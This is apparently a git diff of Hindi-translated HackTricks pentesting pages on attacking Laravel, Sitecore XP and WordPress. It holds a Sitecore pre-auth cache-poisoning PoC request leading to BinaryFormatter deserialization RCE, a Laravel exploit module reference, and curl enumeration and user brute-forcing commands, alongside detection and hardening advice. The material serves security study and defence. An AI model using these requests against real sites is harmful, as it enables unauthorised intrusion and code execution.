यह आमतौर पर अन्य Laravel RCE CVEs को exploit करने के लिए आवश्यक होता है।
|
||||
यह आमतौर पर अन्य Laravel RCE CVEs को exploiting करने के लिए आवश्यक होता है।
|
||||
|
||||
### फिंगरप्रिंटिंग और खुले dev endpoints
|
||||
### Fingerprinting & exposed dev endpoints
|
||||
|
||||
Production में Laravel stack और खतरनाक dev tooling के खुले होने की पहचान के लिए त्वरित जांचें:
|
||||
Laravel स्टैक और production में एक्सपोज़्ड खतरनाक dev tooling की पहचान के लिए त्वरित जांचें:
|
||||
|
||||
- `/_ignition/health-check` → Ignition मौजूद है (debug tool जो CVE-2021-3129 में इस्तेमाल हुआ था). यदि बिना authentication के पहुँचने योग्य है, तो ऐप debug मोड में हो सकता है या misconfigured हो सकता है।
|
||||
- `/_debugbar` → Laravel Debugbar assets; अक्सर debug मोड का संकेत देता है।
|
||||
- `/telescope` → Laravel Telescope (dev monitor). यदि public है, तो व्यापक जानकारी के खुलासे और संभावित actions की उम्मीद करें।
|
||||
- `/horizon` → Queue dashboard; संस्करण का खुलासा और कभी-कभी CSRF-प्रोटेक्टेड actions।
|
||||
- `X-Powered-By`, cookies `XSRF-TOKEN` और `laravel_session`, और Blade error pages भी fingerprinting में मदद करते हैं।
|
||||
- `/_ignition/health-check` → Ignition मौजूद है (debug tool used by CVE-2021-3129). यदि बिना प्रमाणीकरण पहुँच योग्य है, तो ऐप डिबग या misconfigured हो सकता है।
|
||||
- `/_debugbar` → Laravel Debugbar assets; अक्सर डिबग मोड का संकेत होता है।
|
||||
- `/telescope` → Laravel Telescope (dev monitor). यदि सार्वजनिक है, तो व्यापक जानकारी का खुलासा और संभावित क्रियाएं अपेक्षित हैं।
|
||||
- `/horizon` → Queue dashboard; संस्करण का खुलासा और कभी-कभी CSRF-protected actions।
|
||||
- `X-Powered-By`, cookies `XSRF-TOKEN` and `laravel_session`, and Blade error pages भी fingerprint करने में मदद करते हैं।
|
||||
```bash
|
||||
# Nuclei quick probe
|
||||
nuclei -nt -u https://target -tags laravel -rl 30
|
||||
@ -153,9 +153,9 @@ for p in _ignition/health-check _debugbar telescope horizon; do curl -sk https:/
|
||||
```
|
||||
### .env
|
||||
|
||||
Laravel उस APP को `.env` नाम की फ़ाइल में सहेजता है जिसका उपयोग cookies और अन्य credentials को encrypt करने के लिए किया जाता है। यह फ़ाइल path traversal के माध्यम से `/../.env` के तहत एक्सेस की जा सकती है।
|
||||
Laravel `.env` नाम की फ़ाइल में वह APP सहेजता है जिसका उपयोग cookies और अन्य credentials को encrypt करने के लिए किया जाता है, जिसे कुछ path traversal के जरिए `/../.env` के तहत एक्सेस किया जा सकता है।
|
||||
|
||||
Laravel यह जानकारी debug page में भी दिखाएगा (यह तब दिखाई देता है जब Laravel कोई error पाता है और यह सक्रिय होता है)।
|
||||
Laravel यह जानकारी debug page में भी दिखाएगा (जो तब दिखाई देता है जब Laravel किसी error को पाता है और यह सक्रिय होता है)।
|
||||
|
||||
Laravel के secret APP_KEY का उपयोग करके आप cookies को decrypt और re-encrypt कर सकते हैं:
|
||||
|
||||
@ -220,11 +220,12 @@ encrypt(b'{"data":"a:6:{s:6:\"_token\";s:40:\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2Swe
|
||||
```
|
||||
### Laravel Deserialization RCE
|
||||
|
||||
प्रभावित संस्करण: 5.5.40 और 5.6.x से 5.6.29 तक ([https://www.cvedetails.com/cve/CVE-2018-15133/](https://www.cvedetails.com/cve/CVE-2018-15133/))
|
||||
प्रभावित संस्करण: 5.5.40 और 5.6.x से लेकर 5.6.29 तक ([https://www.cvedetails.com/cve/CVE-2018-15133/](https://www.cvedetails.com/cve/CVE-2018-15133/))
|
||||
|
||||
इस deserialization vulnerability के बारे में जानकारी यहाँ पाई जा सकती है: [https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/)
|
||||
यहाँ आप deserialization vulnerability के बारे में जानकारी पा सकते हैं: [https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/)
|
||||
|
||||
आप इसे परीक्षण और exploit करने के लिए [https://github.com/kozmic/laravel-poc-CVE-2018-15133](https://github.com/kozmic/laravel-poc-CVE-2018-15133)\ या आप metasploit का उपयोग करके भी इसे exploit कर सकते हैं: `use unix/http/laravel_token_unserialize_exec`
|
||||
आप इसे टेस्ट और exploit करने के लिए उपयोग कर सकते हैं: [https://github.com/kozmic/laravel-poc-CVE-2018-15133](https://github.com/kozmic/laravel-poc-CVE-2018-15133)\
|
||||
या आप इसे metasploit के साथ भी exploit कर सकते हैं: `use unix/http/laravel_token_unserialize_exec`
|
||||
|
||||
### CVE-2021-3129
|
||||
|
||||
@ -232,7 +233,7 @@ encrypt(b'{"data":"a:6:{s:6:\"_token\";s:40:\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2Swe
|
||||
|
||||
|
||||
|
||||
## संदर्भ
|
||||
## References
|
||||
* [Laravel: APP_KEY leakage analysis (EN)](https://www.synacktiv.com/publications/laravel-appkey-leakage-analysis.html)
|
||||
* [Laravel : analyse de fuite d’APP_KEY (FR)](https://www.synacktiv.com/publications/laravel-analyse-de-fuite-dappkey.html)
|
||||
* [laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer)
|
||||
|
||||
@ -2,9 +2,9 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
यह पृष्ठ Sitecore XP 10.4.1 के खिलाफ एक व्यावहारिक attack chain का सारांश प्रस्तुत करता है जो pre‑auth XAML handler से HTML cache poisoning की ओर मुड़ता है और authenticated UI flow के माध्यम से BinaryFormatter deserialization के जरिए RCE तक पहुँचता है। ये तकनीकें समान Sitecore versions/components पर सामान्यीकृत होती हैं और परीक्षण, पता लगाने, और सुरक्षा सख्ती (harden) के लिए ठोस primitives प्रदान करती हैं।
|
||||
यह पृष्ठ Sitecore XP 10.4.1 के खिलाफ एक व्यावहारिक attack chain का सार प्रस्तुत करता है जो pre‑auth XAML handler से HTML cache poisoning की ओर मुड़ता है और authenticated UI flow के माध्यम से BinaryFormatter deserialization के जरिए RCE तक पहुँचता है। ये तकनीकें समान Sitecore संस्करणों/components पर सामान्यीकृत होती हैं और टेस्ट, डिटेक्ट, तथा हार्डन करने के लिए ठोस primitives प्रदान करती हैं।
|
||||
|
||||
- प्रभावित उत्पाद (परीक्षण किया गया): Sitecore XP 10.4.1 rev. 011628
|
||||
- प्रभावित उत्पाद (परीक्षण): Sitecore XP 10.4.1 rev. 011628
|
||||
- Fixed in: KB1003667, KB1003734 (जून/जुलाई 2025)
|
||||
|
||||
See also:
|
||||
@ -19,15 +19,15 @@ See also:
|
||||
|
||||
## Pre‑auth primitive: XAML Ajax reflection → HtmlCache write
|
||||
|
||||
प्रवेश बिंदु pre‑auth XAML handler है जो web.config में रजिस्टर्ड है:
|
||||
प्रवेश बिंदु web.config में पंजीकृत pre‑auth XAML handler है:
|
||||
```xml
|
||||
<add verb="*" path="sitecore_xaml.ashx" type="Sitecore.Web.UI.XamlSharp.Xaml.XamlPageHandlerFactory, Sitecore.Kernel" name="Sitecore.XamlPageRequestHandler" />
|
||||
```
|
||||
के माध्यम से उपलब्ध:
|
||||
के माध्यम से पहुँचा जा सकता है:
|
||||
```
|
||||
GET /-/xaml/Sitecore.Shell.Xaml.WebControl
|
||||
```
|
||||
कंट्रोल ट्री में AjaxScriptManager शामिल है जो event requests पर attacker‑controlled fields को पढ़ता है और रिफ्लेक्शन के माध्यम से लक्षित कंट्रोल्स पर मेथड्स को invoke करता है:
|
||||
कंट्रोल ट्री में AjaxScriptManager शामिल है जो इवेंट अनुरोधों पर attacker‑controlled फील्ड्स को पढ़ता है और लक्षित controls पर रिफ्लेक्टिवली मेथड्स को invoke करता है:
|
||||
```csharp
|
||||
// AjaxScriptManager.OnPreRender
|
||||
string clientId = page.Request.Form["__SOURCE"]; // target control
|
||||
@ -42,9 +42,9 @@ if (m != null) m.Invoke(this, e.Parameters);
|
||||
// Alternate branch for XML-based controls
|
||||
if (control is XmlControl && AjaxScriptManager.DispatchXmlControl(control, args)) {...}
|
||||
```
|
||||
मुख्य अवलोकन: XAML पेज में एक XmlControl instance (xmlcontrol:GlobalHeader) शामिल है। Sitecore.XmlControls.XmlControl, Sitecore.Web.UI.WebControl (एक Sitecore class) से व्युत्पन्न है, जो ReflectionUtil.Filter allow‑list (Sitecore.*) को पास करता है, और इस तरह Sitecore WebControl पर methods अनलॉक हो जाते हैं।
|
||||
मुख्य अवलोकन: XAML पेज में एक XmlControl instance (xmlcontrol:GlobalHeader) शामिल है। Sitecore.XmlControls.XmlControl Sitecore.Web.UI.WebControl (एक Sitecore class) से derive होता है, जो ReflectionUtil.Filter allow‑list (Sitecore.*) को पास करता है और Sitecore WebControl पर methods को अनलॉक कर देता है।
|
||||
|
||||
Magic method for poisoning:
|
||||
poisoning के लिए Magic method:
|
||||
```csharp
|
||||
// Sitecore.Web.UI.WebControl
|
||||
protected virtual void AddToCache(string cacheKey, string html) {
|
||||
@ -52,7 +52,7 @@ HtmlCache c = CacheManager.GetHtmlCache(Sitecore.Context.Site);
|
||||
if (c != null) c.SetHtml(cacheKey, html, this._cacheTimeout);
|
||||
}
|
||||
```
|
||||
क्योंकि हम xmlcontrol:GlobalHeader को target कर सकते हैं और नाम से Sitecore.Web.UI.WebControl methods को call कर सकते हैं, हमें एक pre‑auth arbitrary HtmlCache write primitive मिल जाता है।
|
||||
क्योंकि हम xmlcontrol:GlobalHeader को target कर सकते हैं और नाम द्वारा Sitecore.Web.UI.WebControl methods को call कर सकते हैं, हमें एक pre‑auth arbitrary HtmlCache write primitive मिलता है।
|
||||
|
||||
### PoC request (CVE-2025-53693)
|
||||
```
|
||||
@ -62,13 +62,13 @@ Content-Type: application/x-www-form-urlencoded
|
||||
|
||||
__PARAMETERS=AddToCache("wat","<html><body>pwn</body></html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1
|
||||
```
|
||||
नोट्स:
|
||||
- __SOURCE, Sitecore.Shell.Xaml.WebControl में xmlcontrol:GlobalHeader का clientID है (आमतौर पर स्थिर, जैसे ctl00_ctl00_ctl05_ctl03 क्योंकि यह static XAML से व्युत्पन्न होता है)।
|
||||
- __PARAMETERS का प्रारूप Method("arg1","arg2") है।
|
||||
नोट:
|
||||
- __SOURCE xmlcontrol:GlobalHeader का clientID है, जो Sitecore.Shell.Xaml.WebControl के भीतर आता है (आम तौर पर स्थिर होता है जैसे ctl00_ctl00_ctl05_ctl03 क्योंकि यह static XAML से व्युत्पन्न होता है).
|
||||
- __PARAMETERS का फ़ॉर्मेट Method("arg1","arg2") है।
|
||||
|
||||
## क्या poison करना है: Cache key निर्माण
|
||||
## क्या poison करना है: Cache key construction
|
||||
|
||||
Sitecore controls द्वारा उपयोग किए जाने वाले सामान्य HtmlCache कुंजी निर्माण:
|
||||
Sitecore controls द्वारा उपयोग की जाने वाली सामान्य HtmlCache key construction:
|
||||
```csharp
|
||||
public virtual string GetCacheKey(){
|
||||
SiteContext site = Sitecore.Context.Site;
|
||||
@ -90,31 +90,31 @@ return k;
|
||||
return string.Empty;
|
||||
}
|
||||
```
|
||||
एक ज्ञात sublayout के लिए लक्षित poisoning का उदाहरण:
|
||||
ज्ञात sublayout के लिए targeted poisoning का उदाहरण:
|
||||
```
|
||||
__PARAMETERS=AddToCache("/layouts/Sample+Sublayout.ascx_%23lang:EN_%23login:False_%23qs:_%23index","<html>…attacker HTML…</html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1
|
||||
```
|
||||
## कैशेबल आइटम और “vary by” डायमेंशन्स की सूची बनाना
|
||||
## cacheable items और “vary by” आयामों को सूचीबद्ध करना
|
||||
|
||||
यदि ItemService (गलत तरीके से) अनाम रूप से एक्सपोज़ है, तो आप सटीक keys निकालने के लिए कैशेबल components को सूचीबद्ध कर सकते हैं।
|
||||
यदि ItemService (mis)exposed anonymously है, तो आप cacheable components को enumerate करके exact keys निकाल सकते हैं।
|
||||
|
||||
त्वरित जांच:
|
||||
त्वरित जाँच:
|
||||
```
|
||||
GET /sitecore/api/ssc/item
|
||||
// 404 Sitecore error body → exposed (anonymous)
|
||||
// 403 → blocked/auth required
|
||||
```
|
||||
कैश करने योग्य आइटम और फ़्लैग सूचीबद्ध करें:
|
||||
कैश करने योग्य आइटम और flags सूचीबद्ध करें:
|
||||
```
|
||||
GET /sitecore/api/ssc/item/search?term=layouts&fields=&page=0&pagesize=100
|
||||
```
|
||||
Path, Cacheable, VaryByDevice, VaryByLogin, ClearOnIndexUpdate जैसे फ़ील्ड खोजें। डिवाइस नामों को निम्नलिखित के माध्यम से सूचीबद्ध किया जा सकता है:
|
||||
Path, Cacheable, VaryByDevice, VaryByLogin, ClearOnIndexUpdate जैसे फ़ील्ड देखें। डिवाइस नामों को निम्न के माध्यम से सूचीबद्ध किया जा सकता है:
|
||||
```
|
||||
GET /sitecore/api/ssc/item/search?term=_templatename:Device&fields=ItemName&page=0&pagesize=100
|
||||
```
|
||||
### Side‑channel enumeration under restricted identities (CVE-2025-53694)
|
||||
|
||||
भले ही ItemService किसी सीमित खाते (e.g., ServicesAPI) की नकल करे और खाली Results array लौटाए, TotalCount फिर भी pre‑ACL Solr hits को दर्शा सकता है। आप wildcards के साथ item groups/ids को brute‑force कर सकते हैं और TotalCount के converge होते हुए internal content और devices का मानचित्र बनते देख सकते हैं:
|
||||
यहाँ तक कि जब ItemService किसी सीमित खाते (उदा., ServicesAPI) की नकल करता है और एक खाली Results array लौटाता है, तब भी TotalCount pre‑ACL Solr hits को दर्शा सकता है। आप wildcards के साथ item groups/ids पर brute‑force करके TotalCount के converge होते हुए internal content और devices का नक्शा बना सकते हैं:
|
||||
```
|
||||
GET /sitecore/api/ssc/item/search?term=%2B_templatename:Device;%2B_group:a*&fields=&page=0&pagesize=100&includeStandardTemplateFields=true
|
||||
→ "TotalCount": 3
|
||||
@ -123,7 +123,7 @@ GET /...term=%2B_templatename:Device;%2B_group:aa*
|
||||
GET /...term=%2B_templatename:Device;%2B_group:aa30d078ed1c47dd88ccef0b455a4cc1*
|
||||
→ narrow to a specific item
|
||||
```
|
||||
## Post‑auth RCE: BinaryFormatter sink convertToRuntimeHtml में (CVE-2025-53691)
|
||||
## Post‑auth RCE: BinaryFormatter sink में convertToRuntimeHtml (CVE-2025-53691)
|
||||
|
||||
Sink:
|
||||
```csharp
|
||||
@ -131,14 +131,14 @@ Sink:
|
||||
byte[] b = Convert.FromBase64String(data);
|
||||
return new BinaryFormatter().Deserialize(new MemoryStream(b));
|
||||
```
|
||||
यह convertToRuntimeHtml pipeline step ConvertWebControls के माध्यम से पहुँच योग्य है, जो id {iframeId}_inner वाले element को ढूंढता है और उसे base64 decodes + deserializes करके resulting string को HTML में inject कर देता है:
|
||||
convertToRuntimeHtml pipeline step ConvertWebControls के माध्यम से पहुंच योग्य है, जो id {iframeId}_inner वाले element को खोजता है और उसे base64 decodes + deserializes करता है, फिर resulting string को HTML में inject करता है:
|
||||
```csharp
|
||||
HtmlNode inner = doc.SelectSingleNode("//*[@id='"+id+"_inner']");
|
||||
string text2 = inner?.GetAttributeValue("value", "");
|
||||
if (text2.Length > 0)
|
||||
htmlNode2.InnerHtml = StringUtil.GetString(Sitecore.Convert.Base64ToObject(text2) as string);
|
||||
```
|
||||
ट्रिगर (प्रमाणीकृत, Content Editor अधिकार)। FixHtml डायलॉग convertToRuntimeHtml को कॉल करता है। UI क्लिक के बिना एंड‑टू‑एंड:
|
||||
Trigger (प्रमाणीकृत, Content Editor अधिकार). FixHtml dialog convertToRuntimeHtml को कॉल करता है। End‑to‑end बिना UI क्लिकों के:
|
||||
```
|
||||
// 1) Start Content Editor
|
||||
GET /sitecore/shell/Applications/Content%20Editor.aspx
|
||||
@ -166,24 +166,24 @@ Gadget generation: use ysoserial.net / YSoNet with BinaryFormatter to produce a
|
||||
../../../pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md
|
||||
{{#endref}}
|
||||
|
||||
## पूरा चेन
|
||||
## संपूर्ण चेन
|
||||
|
||||
1) Pre‑auth attacker XAML AjaxScriptManager के माध्यम से reflectively WebControl.AddToCache को invoke करके arbitrary HTML के साथ HtmlCache को poison करता है।
|
||||
2) Poisoned HTML JavaScript परोसेगा जो authenticated Content Editor user को FixHtml flow के माध्यम से प्रेरित करता है।
|
||||
3) FixHtml पेज convertToRuntimeHtml → ConvertWebControls को ट्रिगर करता है, जो attacker‑controlled base64 को BinaryFormatter के जरिए deserialize करता है → Sitecore app pool identity के तहत RCE।
|
||||
1) Pre‑auth हमलावर reflectively invoking WebControl.AddToCache via XAML AjaxScriptManager के माध्यम से arbitrary HTML से HtmlCache को प्रदूषित करता है।
|
||||
2) प्रदूषित HTML JavaScript परोसता है जो एक प्रमाणीकृत Content Editor उपयोगकर्ता को FixHtml flow के माध्यम से नेविगेट करता है।
|
||||
3) FixHtml पेज convertToRuntimeHtml → ConvertWebControls को ट्रिगर करता है, जो BinaryFormatter के माध्यम से हमलावर‑नियंत्रित base64 को डिसेरियलाइज़ करके Sitecore app pool identity के अंतर्गत RCE पैदा करता है।
|
||||
|
||||
## पहचान
|
||||
|
||||
- Pre‑auth XAML: `/-/xaml/Sitecore.Shell.Xaml.WebControl` के लिए requests जिनमें `__ISEVENT=1`, संदिग्ध `__SOURCE` और `__PARAMETERS=AddToCache(...)`।
|
||||
- ItemService probing: `/sitecore/api/ssc` की wildcard queries में spikes, खाली `Results` के साथ बड़े `TotalCount`।
|
||||
- Deserialization attempts: `EditHtml.aspx` के बाद `FixHtml.aspx?hdl=...` और HTML fields में असाधारण रूप से बड़े base64।
|
||||
- Pre‑auth XAML: `/-/xaml/Sitecore.Shell.Xaml.WebControl` के लिए अनुरोध जिनमें `__ISEVENT=1`, संदिग्ध `__SOURCE` और `__PARAMETERS=AddToCache(...)` होते हैं।
|
||||
- ItemService probing: `/sitecore/api/ssc` वाइल्डकार्ड क्वेरीज में वृद्धि, खाली `Results` के साथ बड़ा `TotalCount`।
|
||||
- Deserialization attempts: `EditHtml.aspx` के बाद `FixHtml.aspx?hdl=...` और HTML फ़ील्ड्स में असामान्य रूप से बड़ा base64।
|
||||
|
||||
## हार्डनिंग
|
||||
## कड़ी सुरक्षा
|
||||
|
||||
- Sitecore patches KB1003667 और KB1003734 लागू करें; pre‑auth XAML handlers को gate/disable करें या strict validation जोड़ें; `/-/xaml/` की निगरानी और rate‑limit लागू करें।
|
||||
- BinaryFormatter को हटाएँ/बदलें; convertToRuntimeHtml तक access को restrict करें या HTML editing flows पर strong server‑side validation लागू करें।
|
||||
- `/sitecore/api/ssc` को loopback या authenticated roles तक लॉकडाउन करें; impersonation patterns से बचें जो `TotalCount`‑based side channels को leak करते हैं।
|
||||
- Content Editor users के लिए MFA/least privilege लागू करें; CSP की समीक्षा करें ताकि cache poisoning से JS steering का प्रभाव घटे।
|
||||
- Sitecore patches KB1003667 और KB1003734 लागू करें; pre‑auth XAML handlers को gate/disable करें या सख्त validation जोड़ें; `/-/xaml/` की निगरानी और rate‑limit लागू करें।
|
||||
- BinaryFormatter को हटाएँ/बदलें; convertToRuntimeHtml तक पहुँच सीमित करें या HTML editing flows की मजबूती से server‑side validation लागू करें।
|
||||
- `/sitecore/api/ssc` को loopback या authenticated roles तक लॉक डाउन करें; ऐसे impersonation patterns से बचें जो `TotalCount`‑आधारित side channels को leak करते हैं।
|
||||
- Content Editor users के लिए MFA/least privilege लागू करें; cache poisoning से JS steering के प्रभाव को कम करने के लिए CSP की समीक्षा करें।
|
||||
|
||||
## References
|
||||
|
||||
|
||||
@ -2,51 +2,51 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## बुनियादी जानकारी
|
||||
|
||||
- **Uploaded** files go to: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
|
||||
- **Themes files can be found in /wp-content/themes/,** इसलिए अगर आप theme के किसी php को बदलकर RCE हासिल करना चाहते हैं तो आप शायद उसी path का उपयोग करेंगे। उदाहरण के लिए: Using **theme twentytwelve** आप **404.php** फ़ाइल को इस पाथ पर **access** कर सकते हैं: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
- **Uploaded** फ़ाइलें जाती हैं: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
|
||||
- **Themes files can be found in /wp-content/themes/,** इसलिए अगर आप थीम की कुछ php बदलकर RCE हासिल करते हैं तो आप संभवतः उस path का उपयोग करेंगे। उदाहरण के लिए: Using **theme twentytwelve** आप **404.php** फ़ाइल में **access** कर सकते हैं: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
|
||||
- **Another useful url could be:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
|
||||
- In **wp-config.php** आप database का root password पा सकते हैं।
|
||||
- Default login paths to check: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
|
||||
- In **wp-config.php** आप डेटाबेस का root पासवर्ड पा सकते हैं।
|
||||
- जाँचने के लिए डिफ़ॉल्ट लॉगिन पथ: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
|
||||
|
||||
### **Main WordPress Files**
|
||||
|
||||
- `index.php`
|
||||
- `license.txt` में उपयोगी जानकारी होती है जैसे कि इंस्टॉल किया गया WordPress का version।
|
||||
- `wp-activate.php` नया WordPress साइट सेटअप करते समय email activation प्रक्रिया के लिए उपयोग होता है।
|
||||
- Login folders (may be renamed to hide it):
|
||||
- `license.txt` में उपयोगी जानकारी होती है जैसे कि WordPress का इंस्टॉल किया गया संस्करण।
|
||||
- `wp-activate.php` का उपयोग नए WordPress साइट सेटअप के दौरान ईमेल activation प्रक्रिया के लिए होता है।
|
||||
- Login फ़ोल्डर्स (छुपाने के लिए नाम बदले गए हो सकते हैं):
|
||||
- `/wp-admin/login.php`
|
||||
- `/wp-admin/wp-login.php`
|
||||
- `/login.php`
|
||||
- `/wp-login.php`
|
||||
- `xmlrpc.php` एक फ़ाइल है जो WordPress की उस फ़ीचर का प्रतिनिधित्व करती है जो HTTP को transport mechanism और XML को encoding mechanism के रूप में उपयोग करके डेटा ट्रांसमिट करने की अनुमति देती है। इस प्रकार की संचार विधि को WordPress के [REST API](https://developer.wordpress.org/rest-api/reference) ने बदल दिया है।
|
||||
- `wp-content` फ़ोल्डर मुख्य डायरेक्टरी है जहाँ plugins और themes स्टोर होते हैं।
|
||||
- `wp-content/uploads/` वह डायरेक्टरी है जहाँ प्लेटफ़ॉर्म पर अपलोड की गई कोई भी फ़ाइलें संग्रहित होती हैं।
|
||||
- `wp-includes/` यह वह डायरेक्टरी है जहाँ core फ़ाइलें स्टोर होती हैं, जैसे कि certificates, fonts, JavaScript files, और widgets।
|
||||
- `wp-sitemap.xml` WordPress versions 5.5 और उससे ऊपर में, Worpress एक sitemap XML फ़ाइल जनरेट करता है जिसमें सभी public posts और publicly queryable post types और taxonomies होते हैं।
|
||||
- `xmlrpc.php` एक फ़ाइल है जो WordPress की उस सुविधा का प्रतिनिधित्व करती है जो HTTP को transport mechanism के रूप में और XML को encoding mechanism के रूप में उपयोग करके डेटा को ट्रांसमिट करने में सक्षम बनाती है। इस प्रकार का संचार WordPress [REST API](https://developer.wordpress.org/rest-api/reference) द्वारा बदल दिया गया है।
|
||||
- `wp-content` फ़ोल्डर मुख्य निर्देशिका है जहाँ plugins और themes संग्रहीत होते हैं।
|
||||
- `wp-content/uploads/` वह निर्देशिका है जहाँ प्लेटफ़ॉर्म पर अपलोड की गई कोई भी फ़ाइलें संग्रहीत होती हैं।
|
||||
- `wp-includes/` यह वह निर्देशिका है जहाँ core फ़ाइलें संग्रहीत होती हैं, जैसे certificates, fonts, JavaScript फ़ाइलें, और widgets।
|
||||
- `wp-sitemap.xml` WordPress संस्करण 5.5 और उससे ऊपर में, Wordpress सभी public पोस्ट और publicly queryable post types और taxonomies के साथ एक sitemap XML फ़ाइल उत्पन्न करता है।
|
||||
|
||||
**Post exploitation**
|
||||
|
||||
- `wp-config.php` फ़ाइल में WordPress को database से कनेक्ट करने के लिए आवश्यक जानकारी होती है जैसे database name, database host, username और password, authentication keys और salts, और database table prefix। यह configuration फ़ाइल DEBUG mode को सक्रिय करने के लिए भी उपयोग की जा सकती है, जो troubleshooting में उपयोगी हो सकता है।
|
||||
- `wp-config.php` फ़ाइल में वह जानकारी होती है जिसकी आवश्यकता WordPress को database से कनेक्ट करने के लिए होती है जैसे database name, database host, username और पासवर्ड, authentication keys और salts, और database table prefix। इस configuration फ़ाइल का उपयोग DEBUG मोड को सक्रिय करने के लिए भी किया जा सकता है, जो troubleshooting में उपयोगी हो सकता है।
|
||||
|
||||
### Users Permissions
|
||||
|
||||
- **Administrator**
|
||||
- **Editor**: अपने और दूसरों के पोस्ट प्रकाशित और प्रबंधित करता है
|
||||
- **Author**: अपने स्वयं के पोस्ट प्रकाशित और प्रबंधित करता है
|
||||
- **Contributor**: अपने पोस्ट लिखता और प्रबंधित करता है पर उन्हें प्रकाशित नहीं कर सकता
|
||||
- **Subscriber**: पोस्ट ब्राउज़ करता है और अपनी प्रोफ़ाइल संपादित करता है
|
||||
- **Editor**: अपना और दूसरों के पोस्ट प्रकाशित और प्रबंधित कर सकता है
|
||||
- **Author**: अपने पोस्ट प्रकाशित और प्रबंधित कर सकता है
|
||||
- **Contributor**: अपने पोस्ट लिख और प्रबंधित कर सकता है लेकिन उन्हें प्रकाशित नहीं कर सकता
|
||||
- **Subscriber**: पोस्ट ब्राउज़ करता है और अपना प्रोफ़ाइल संपादित कर सकता है
|
||||
|
||||
## **Passive Enumeration**
|
||||
|
||||
### **Get WordPress version**
|
||||
### **WordPress संस्करण प्राप्त करें**
|
||||
|
||||
चेक करें कि क्या आप फ़ाइलें `/license.txt` या `/readme.html` पा सकते हैं
|
||||
जाँचें कि क्या आप फ़ाइलें `/license.txt` या `/readme.html` खोज सकते हैं
|
||||
|
||||
पृष्ठ के **source code** के अंदर (उदाहरण के लिए from [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)):
|
||||
पेज के **source code** के अंदर (उदाहरण from [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)):
|
||||
|
||||
- grep
|
||||
```bash
|
||||
@ -64,7 +64,7 @@ curl https://victim.com/ | grep 'content="WordPress'
|
||||
|
||||
.png>)
|
||||
|
||||
### प्लगइन्स प्राप्त करें
|
||||
### Plugins प्राप्त करें
|
||||
```bash
|
||||
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
|
||||
```
|
||||
@ -77,41 +77,41 @@ curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-conten
|
||||
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
|
||||
|
||||
```
|
||||
## सक्रिय अन्वेषण
|
||||
## Active enumeration
|
||||
|
||||
### प्लगइन्स और थीम्स
|
||||
### Plugins and Themes
|
||||
|
||||
आप संभवतः सभी प्लगइन्स और थीम्स नहीं ढूँढ पाएँगे। उन्हें खोजने के लिए, आपको **सक्रिय रूप से Brute Force करके प्लगइन्स और थीम्स की सूची निकालनी होगी** (हमें उम्मीद है कि हमारे लिए ऐसी स्वचालित tools मौजूद हैं जिनमें ये सूचियाँ होती हैं)।
|
||||
आप संभवतः सभी Plugins और Themes ढूँढ नहीं पाएँगे। उन्हें खोजने के लिए, आपको **actively Brute Force a list of Plugins and Themes** करना होगा (खुशी की बात है कि हमारे लिए कुछ automated tools मौजूद हैं जिनमें ये lists होती हैं)।
|
||||
|
||||
### उपयोगकर्ता
|
||||
### Users
|
||||
|
||||
- **ID Brute:** आप WordPress साइट से Brute Forcing users IDs के जरिए वैध उपयोगकर्ता प्राप्त कर सकते हैं:
|
||||
- **ID Brute:** आप WordPress साइट से वैध users Brute Forcing users IDs के द्वारा प्राप्त कर सकते हैं:
|
||||
```bash
|
||||
curl -s -I -X GET http://blog.example.com/?author=1
|
||||
```
|
||||
यदि प्रतिक्रिया **200** या **30X** है, तो इसका मतलब है कि id **मान्य** है। यदि प्रतिक्रिया **400** है, तो id **अमान्य** है।
|
||||
यदि प्रतिक्रियाएँ **200** या **30X** हैं, तो इसका अर्थ है कि id **मान्य** है। यदि प्रतिक्रिया **400** है, तो id **अमान्य** है।
|
||||
|
||||
- **wp-json:** आप users के बारे में जानकारी प्राप्त करने के लिए query कर सकते हैं:
|
||||
- **wp-json:** आप उपयोगकर्ताओं के बारे में जानकारी प्राप्त करने के लिए क्वेरी कर सकते हैं:
|
||||
```bash
|
||||
curl http://blog.example.com/wp-json/wp/v2/users
|
||||
```
|
||||
एक अन्य `/wp-json/` endpoint जो उपयोगकर्ताओं के बारे में कुछ जानकारी उजागर कर सकता है:
|
||||
एक और `/wp-json/` endpoint जो उपयोगकर्ताओं के बारे में कुछ जानकारी प्रकट कर सकता है:
|
||||
```bash
|
||||
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
|
||||
```
|
||||
